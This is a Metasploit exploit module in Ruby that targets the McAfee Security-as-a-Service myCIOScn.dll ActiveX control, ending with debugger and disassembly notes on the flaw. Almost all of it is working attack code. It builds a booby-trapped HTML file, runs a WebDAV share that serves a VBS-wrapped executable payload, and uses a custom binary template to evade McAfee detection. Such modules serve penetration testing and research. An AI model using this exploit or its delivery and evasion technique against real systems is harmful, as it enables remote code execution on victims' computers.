##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "McAfee SaaS MyCioScan ShowReport Remote Command Execution",
      'Description'    => %q{
          This module exploits a vulnerability found in McAfee Security-as-a-Service.
        The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails
        to check the FileName argument, and passes it on to a ShellExecuteW() function,
        therefore allows any malicious attacker to execute any process that's on the
        local system.  However, if the victim machine is connected to a remote share (
        or something similiar), then it's also possible to execute arbitrary code.
        Please note that a custom template is required for the payload, because the
        default Metasploit template is detectable by McAfee -- any Windows binary, such
        as calc.exe or notepad.exe, should bypass McAfee fine.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rgod',    #Initial discovery
          'sinn3r',  #Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '78310'],
          ['BID', '51397'],
          ['ZDI', '12-012'],
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00",
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => "none",
          #'InitialAutoRunScript' => 'migrate -f',
          'DisablePayloadHandler' => false,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Internet Explorer', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jan 12 2012",
      'DefaultTarget'  => 0))

    register_options([
      OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
      OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),
      OptString.new('URIPATH',   [ true, "The URI to use", "/" ]),
      OptString.new('FILENAME',  [ true, 'The file name.', 'msf.html']),
      OptPath.new('TEMPLATE',    [true, 'A custom template for the payload in order to bypass McAfee', ''])
    ], self.class)
  end

  def on_request_uri(cli, request)
    case request.method
    when 'OPTIONS'
      process_options(cli, request)
    when 'PROPFIND'
      process_propfind(cli, request)
    when 'GET'
      process_get(cli, request)
    else
      print_status("#{request.method} => 404 (#{request.uri})")
      resp = create_response(404, "Not Found")
      resp.body = ""
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
    end
  end

  def process_get(cli, request)
    print_status("URI requested: #{request.uri.to_s}")

    if request.uri =~ /\.vbs$/i
      # Depending on the connection speed, this might take a moment to transfer the
      # payload and actually get executed
      send_response(cli, @vbs, {'Content-Type'=>'application/octet-stream'})
      print_status("executable sent")
    else
      # Don't know the request, return not found
      print_error("Don't care about this file, 404")
      send_not_found(cli)
    end

    return
  end

  def process_options(cli, request)
    vprint_status("OPTIONS #{request.uri}")
    headers = {
      'MS-Author-Via' => 'DAV',
      'DASL'          => '<DAV:sql>',
      'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
      'Cache-Control' => 'private'
    }

    resp = create_response(207, "Multi-Status")
    headers.each_pair {|k,v| resp[k] = v }
    resp.body = ''
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  def process_propfind(cli, request)
    path = request.uri
    vprint_status("Received WebDAV PROPFIND request from: #{path}")
    body = ''

    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    my_uri  = "http://#{my_host}/"

    if path !~ /\/$/
      if path.index(".")
        print_status("Sending 404 for #{path} ...")
        resp = create_response(404, "Not Found")
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      else
        print_status("Sending 301 for #{path} ...")
        resp = create_response(301, "Moved")
        resp["Location"] = path + "/"
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      end
    end

    print_status("Sending directory multistatus for #{path} ...")

    body = <<-BODY
    <?xml version="1.0" encoding="utf-8"?>
    <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype><D:collection/></lp1:resourcetype>
    <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
    <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
    <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    <D:supportedlock>
    <D:lockentry>
    <D:lockscope><D:exclusive/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    <D:lockentry>
    <D:lockscope><D:shared/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    </D:supportedlock>
    <D:lockdiscovery/>
    <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    BODY

    body = body.gsub(/^ {4}/, '')

    if request["Depth"].to_i > 0
      if path.scan("/").length < 2
        body << generate_shares(path)
      else
        # Set payload name, and set the hidden attribute.  True means visible
        filenames = [ [@vbs_name, false] ]
        body << generate_files(path, filenames)
      end
    end

    body << "</D:multistatus>"

    body.gsub!(/\t/, '')

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml; charset="utf8"'
    cli.send_response(resp)
  end

  def gen_timestamp(ttype=nil)
    ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
  end

  def gen_datestamp(ttype=nil)
    ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
  end

  def generate_shares(path)
    share_name = datastore['SHARENAME']
    share = <<-SHARE
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}#{share_name}/</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype><D:collection/></lp1:resourcetype>
    <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
    <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
    <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    <D:supportedlock>
    <D:lockentry>
    <D:lockscope><D:exclusive/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    <D:lockentry>
    <D:lockscope><D:shared/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    </D:supportedlock>
    <D:lockdiscovery/>
    <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    SHARE
    share = share.gsub(/^ {4}/, '')
    return share
  end

  def generate_files(path, items)
    trail = path.split("/")
    return "" if trail.length < 2

    files = ""
    items.each do |f, hide|
      h = hide ? '1' : '0'
      files << <<-FILES
      <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
      <D:href>#{path}#{f}</D:href>
      <D:propstat>
      <D:prop>
      <lp1:resourcetype/>
      <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
      <lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
      <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
      <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
      <lp2:executable>T</lp2:executable>
      <D:supportedlock>
      <D:lockentry>
      <D:lockscope><D:exclusive/></D:lockscope>
      <D:locktype><D:write/></D:locktype>
      </D:lockentry>
      <D:lockentry>
      <D:lockscope><D:shared/></D:lockscope>
      <D:locktype><D:write/></D:locktype>
      </D:lockentry>
      </D:supportedlock>
      <D:lockdiscovery/>
      <D:getcontenttype>application/octet-stream</D:getcontenttype>
      </D:prop>
      <D:status>HTTP/1.1 200 OK</D:status>
      <D:ishidden b:dt="boolean">#{h}</D:ishidden>
      </D:propstat>
      </D:response>
      FILES
    end

    files = files.gsub(/^ {6}/, '')

    return files
  end

  def get_payload
    fname = rand_text_alpha(5) + ".vbs"
    p = payload.encoded
    exe = Msf::Util::EXE.to_win32pe($framework, p, {:inject=>true, :template=>datastore['TEMPLATE']})
    vbs = Msf::Util::EXE.to_exe_vbs(exe)
    return fname, vbs
  end

  def exploit
    @vbs_name, @vbs = get_payload

    #
    # progid: MYCIOSCNLib.Scan
    # clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7
    #
    myhost   = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
    obj_name = rand_text_alpha(rand(6) + 3)
    sub_name = rand_text_alpha(rand(6) + 3)
    html = <<-HTML
    <html>
    <head>
    </head>
    <body>
    <object classid='clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7' id='#{obj_name}'></object>
    <script language='vbscript'>
    sub #{sub_name}
    #{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}\\#{@vbs_name}"
    end sub

    #{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}"
    window.setTimeout "#{sub_name}", 1000
    </script>
    </body>
    </html>
    HTML

    html = html.gsub(/^ {4}/, '')
    file_create(html)
    print_status("#{datastore['FILENAME']} must be run locally in order to execute our payload")

    super
  end

end

=begin
myCIOScn!CScnXml::SetNumScanned+0x19ab:
2101caf9 55              push    ebp

0:003> lmv m myCIOScn
start    end        module name
21000000 2106d000   myCIOScn   (export symbols)       C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
    Loaded symbol image file: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
    Image path: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
    Image name: myCIOScn.dll
    Timestamp:        Wed Aug 10 11:34:01 2011 (4E42CF19)
    CheckSum:         0007C3A6
    ImageSize:        0006D000
    File version:     5.2.3.104
    Product version:  5.2.0.0
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      McAfee, Inc.
    ProductName:      McAfee® Security-as-a-Service
    InternalName:     myCioScn
    OriginalFilename: myCioScn.DLL
    ProductVersion:   5.2.3
    FileVersion:      5.2.3.104
    PrivateBuild:     5.2.3.104
    SpecialBuild:     FULL
    FileDescription:  myCioScn Module

.text:2101CB1A                 push    esi
.text:2101CB1B                 push    1
.text:2101CB1D                 xor     esi, esi
.text:2101CB1F                 push    esi
.text:2101CB20                 push    esi
.text:2101CB21                 push    eax             ; we own this
.text:2101CB22                 push    offset aOpen    ; "open"
.text:2101CB27                 push    esi
.text:2101CB28                 mov     [ebp+0A50h+Str], eax
.text:2101CB2B                 call    off_2105D350    ; ShellExecuteW
=end
